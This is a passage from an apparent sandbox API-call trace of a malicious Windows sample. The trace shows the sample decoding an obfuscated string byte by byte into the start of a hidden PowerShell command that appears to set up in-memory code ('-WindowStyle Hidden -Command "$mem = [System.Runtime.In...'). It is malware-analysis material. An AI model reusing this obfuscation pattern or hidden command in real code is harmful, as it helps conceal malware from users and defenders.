lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="@") returned 1 [0071.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0071.913] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem =", bstrRight=" ", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.913] VarBstrCat (in: bstrLeft="&H", bstrRight="B6", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.913] VarParseNumFromStr (in: strIn="&HB6", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.913] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="¶") returned 1 [0071.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¶", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="¶£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="[") returned 1 [0071.913] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = ", bstrRight="[", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.913] VarBstrCat (in: bstrLeft="&H", bstrRight="A6", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.913] VarParseNumFromStr (in: strIn="&HA6", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.913] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="¦") returned 1 [0071.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¦", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="¦£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.914] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="S") returned 1 [0071.914] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [", bstrRight="S", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.914] VarBstrCat (in: bstrLeft="&H", bstrRight="F2", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.914] VarParseNumFromStr (in: strIn="&HF2", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.914] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.914] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="ò") returned 1 [0071.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ò", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ò£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.914] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="y") returned 1 [0071.914] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [S", bstrRight="y", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.914] VarBstrCat (in: bstrLeft="&H", bstrRight="E6", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.914] VarParseNumFromStr (in: strIn="&HE6", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.914] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.914] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="æ") returned 1 [0071.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="æ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="棵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0071.915] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [Sy", bstrRight="s", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.915] VarBstrCat (in: bstrLeft="&H", bstrRight="E8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.915] VarParseNumFromStr (in: strIn="&HE8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.915] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="è") returned 1 [0071.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="è", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="裵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0071.915] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [Sys", bstrRight="t", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.915] VarBstrCat (in: bstrLeft="&H", bstrRight="CA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.915] VarParseNumFromStr (in: strIn="&HCA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.915] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="Ê") returned 1 [0071.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.916] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0071.916] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [Syst", bstrRight="e", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.916] VarBstrCat (in: bstrLeft="&H", bstrRight="DA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.916] VarParseNumFromStr (in: strIn="&HDA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.916] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.916] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="Ú") returned 1 [0071.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ú", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ú£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.916] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0071.916] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [Syste", bstrRight="m", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.916] VarBstrCat (in: bstrLeft="&H", bstrRight="5C", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.916] VarParseNumFromStr (in: strIn="&H5C", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.916] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.916] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="\\") returned 1 [0071.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.917] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0071.917] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System", bstrRight=".", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.917] VarBstrCat (in: bstrLeft="&H", bstrRight="A4", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.917] VarParseNumFromStr (in: strIn="&HA4", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.917] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.917] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="¤") returned 1 [0071.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¤", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="¤£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.917] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="R") returned 1 [0071.917] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.", bstrRight="R", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.917] VarBstrCat (in: bstrLeft="&H", bstrRight="EA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.917] VarParseNumFromStr (in: strIn="&HEA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.917] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.917] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="ê") returned 1 [0071.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ꣵ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.918] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0071.918] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.R", bstrRight="u", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.918] VarBstrCat (in: bstrLeft="&H", bstrRight="DC", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.918] VarParseNumFromStr (in: strIn="&HDC", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.918] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.918] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="Ü") returned 1 [0071.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ü", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ü£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.918] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0071.918] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Ru", bstrRight="n", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.918] VarBstrCat (in: bstrLeft="&H", bstrRight="E8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.918] VarParseNumFromStr (in: strIn="&HE8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.918] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.918] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="è") returned 1 [0071.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="è", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="裵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0071.919] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Run", bstrRight="t", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.919] VarBstrCat (in: bstrLeft="&H", bstrRight="D2", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.919] VarParseNumFromStr (in: strIn="&HD2", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.919] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="Ò") returned 1 [0071.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ò", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ò£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0071.920] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runt", bstrRight="i", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.920] VarBstrCat (in: bstrLeft="&H", bstrRight="DA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.920] VarParseNumFromStr (in: strIn="&HDA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.920] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.920] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="Ú") returned 1 [0071.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ú", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ú£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.920] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0071.920] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runti", bstrRight="m", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.920] VarBstrCat (in: bstrLeft="&H", bstrRight="CA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.920] VarParseNumFromStr (in: strIn="&HCA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.920] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.920] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="Ê") returned 1 [0071.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.920] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0071.921] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtim", bstrRight="e", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.921] VarBstrCat (in: bstrLeft="&H", bstrRight="5C", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.921] VarParseNumFromStr (in: strIn="&H5C", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.921] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.921] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="\\") returned 1 [0071.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.921] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0071.921] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime", bstrRight=".", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.921] VarBstrCat (in: bstrLeft="&H", bstrRight="92", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.921] VarParseNumFromStr (in: strIn="&H92", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.921] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.921] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="’") returned 1 [0071.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="’", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x92£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="I") returned 1 [0071.922] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.", bstrRight="I", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.922] VarBstrCat (in: bstrLeft="&H", bstrRight="DC", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.922] VarParseNumFromStr (in: strIn="&HDC", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.922] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="Ü") returned 1 [0071.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ü", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ü£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0071.922] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.I", bstrRight="n", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.922] VarBstrCat (in: bstrLeft="&H", bstrRight="E8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.922] 